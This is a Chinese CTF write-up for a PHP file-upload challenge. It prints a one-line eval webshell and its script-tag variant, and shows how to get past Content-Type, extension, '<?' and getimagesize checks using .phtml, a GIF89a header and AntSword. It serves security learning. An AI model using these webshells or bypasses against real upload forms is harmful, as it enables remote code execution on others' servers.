题目:
解题:
1:上传“一句话木马”文件
编辑文件a.php:
<?php @eval($_POST['shell']);?>
上传后得到:
Not image! 提示需要上传文件为 image。
2:修改Content-Type
上传a.php文件时,用burp suite抓包得到:
修改Content-Type为 image/gif
提示:NOT ! php !,说明不能后缀为php。
phtml文件
在嵌入了php脚本的html中,使用 phtml作为后缀名;完全是php写的,则使用php作为后缀名。这两种文件,web服务器都会用php解释器进行解析。
3:修改文件后缀为a.phtml
修改a.php为a.phtml后:
提示: NO! HACKER! your file included '<?'
html实体字符
HTML 中规定了 Character entity references,也就是通常我们说得 html实体字符,一些字符在 HTML 中拥有特殊的含义,比如小于号 (<) 用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源码中插入字符实体。
字符实体有三部分:一个和号 (&),一个实体名称,或者 # 和一个实体编号,以及一个分号 (;)。要在 HTML 文档中显示小于号,我们需要这样写:< 或者 <。
< 代表:<,? 代表:?
也就是说上传文件里不能包含:" <? "
4:绕过" <? "限制
用 script标签 绕过“<?”限制:<script language='php'>@eval($_POST['cmd']);</script>
提示:Don't lie to me, it's not image at all!!!
即:上传的根本不是图片。
5:GIF89a 图片头文件欺骗
在文件前面加文件头:GIF89a,php会检测其为gif图片。使用getimagesize函数无法判断其图片是无效的。
成功上传“一句话”木马。
6:蚁剑连接
上传文件一般都在upload
目录下。
URL地址:http://4a46933f-3f6c-4946-8725-44c2ac48e1e5.node4.buuoj.cn:81/upload/a.phtml
连接密码:cmd
在根目录下找到flag文件,打开即得flag。